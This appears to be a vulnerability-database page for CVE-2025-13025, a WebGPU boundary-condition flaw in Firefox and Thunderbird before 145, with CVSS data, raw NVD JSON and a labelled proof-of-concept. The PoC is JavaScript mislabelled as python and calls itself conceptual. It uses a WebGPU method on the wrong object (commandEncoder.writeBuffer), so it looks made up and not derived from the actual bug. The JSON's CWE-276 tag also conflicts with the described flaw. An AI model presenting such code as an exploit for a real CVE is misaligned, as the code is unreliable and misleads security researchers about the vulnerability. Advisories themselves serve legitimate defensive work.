Security Vulnerability Report
中文
CVE-2025-13025 CVSS 7.5 HIGH

CVE-2025-13025

Published: 2025-11-11 16:15:40
Last Modified: 2026-04-13 15:16:44

Description

Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Thunderbird < 145

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13025 PoC - WebGPU Boundary Condition Vulnerability // This PoC demonstrates triggering the boundary condition error in WebGPU component // Note: This is a conceptual PoC for educational purposes only const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Create a buffer with specific size const bufferSize = 1024; const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Attempt to trigger boundary condition by creating oversized write // The vulnerability lies in insufficient boundary checking const commandEncoder = device.createCommandEncoder(); // Craft a write that exceeds buffer boundaries const oversizedData = new Uint8Array(bufferSize * 2); // 2x the buffer size // This operation should fail but due to boundary condition error may proceed try { commandEncoder.writeBuffer(buffer, 0, oversizedData, 0, oversizedData.length); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('Boundary condition triggered - buffer overflow possible'); } catch (error) { console.log('Error caught:', error.message); } // Alternative trigger via texture operations const texture = device.createTexture({ size: { width: 65536, height: 65536, depthOrArrayLayers: 1 }, format: 'rgba8unorm', usage: GPUTextureUsage.COPY_SRC }); // Trigger via copy operation with invalid parameters const copyEncoder = device.createCommandEncoder(); copyEncoder.copyTextureToBuffer( { texture: texture }, { buffer: buffer, offset: 0, bytesPerRow: 256, rowsPerImage: 1 }, { width: 0, height: 0, depthOrArrayLayers: 0 } // Invalid dimensions );

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13025", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.613", "lastModified": "2026-04-13T15:16:44.300", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1994022", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}]}}